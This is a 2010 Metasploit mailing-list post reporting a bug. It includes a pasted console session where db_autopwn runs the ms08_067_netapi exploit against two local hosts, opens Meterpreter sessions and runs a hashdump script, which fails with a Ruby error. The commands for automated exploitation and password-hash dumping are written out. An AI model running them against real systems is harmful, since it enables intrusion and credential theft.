Metasploit mailing list archives
hashdump script against multiple sessions
From: Jay <lists.infosec () gmail com>
Date: Tue, 19 Jan 2010 15:26:15 -0600
Hello all,
With the new implementation of hashdump I am getting an error while running
it against multiple open sessions. It looks like the client variable isn't
being set. I'm pretty sure its not user error, but then again you never
know.
Thanks,
Jay
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
=[ 491 exploits - 231 auxiliary
=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8166 updated today (2010.01.19)
msf > db_autopwn -e -p -m ms08_067_netapi
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi
against 192.168.1.129:445...
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi
against 192.168.1.133:445...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (2/2 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] Meterpreter session 1 opened (192.168.1.135:43044 -> 192.168.1.129:26432
)
[*] Meterpreter session 2 opened (192.168.1.135:48209 -> 192.168.1.133:8987)
msf > sessions
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.135:43044 -> 192.168.1.129:26432
2 Meterpreter 192.168.1.135:48209 -> 192.168.1.133:8987
msf > sessions -s hashdump
[*] Running script hashdump on all meterpreter sessions ...
[*] Session 1 (192.168.1.129:26432):
[*] Obtaining the boot key...
[-] Error: NameError undefined local variable or method `client' for
#<Msf::Ui::Console::CommandDispatcher::Core:0xb636075c>
/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1277:in
`capture_boot_key'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1276:in
`each'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1276:in
`capture_boot_key'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1448:in
`cmd_sessions'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1228:in
`cmd_sessions'/framework3-svn/lib/msf/core/session_manager.rb:29:in
`each'/framework3-svn/lib/msf/core/session_manager.rb:29:in
`each_sorted'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1222:in
`cmd_sessions'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:239:in
`send'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:239:in
`run_command'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:201:in
`run_single'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:195:in
`each'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:195:in
`run_single'/framework3-svn/lib/rex/ui/text/shell.rb:144:in
`run'./msfconsole:92
[*] Session 2 (192.168.1.133:8987):
[*] Obtaining the boot key...
[-] Error: NameError undefined local variable or method `client' for
#<Msf::Ui::Console::CommandDispatcher::Core:0xb636075c>
/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1277:in
`capture_boot_key'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1276:in
`each'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1276:in
`capture_boot_key'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1448:in
`cmd_sessions'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1228:in
`cmd_sessions'/framework3-svn/lib/msf/core/session_manager.rb:29:in
`each'/framework3-svn/lib/msf/core/session_manager.rb:29:in
`each_sorted'/framework3-svn/lib/msf/ui/console/command_dispatcher/core.rb:1222:in
`cmd_sessions'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:239:in
`send'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:239:in
`run_command'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:201:in
`run_single'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:195:in
`each'/framework3-svn/lib/rex/ui/text/dispatcher_shell.rb:195:in
`run_single'/framework3-svn/lib/rex/ui/text/shell.rb:144:in
`run'./msfconsole:92
_______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
Current thread:
- hashdump script against multiple sessions Jay (Jan 19)
- Re: hashdump script against multiple sessions HD Moore (Jan 20)
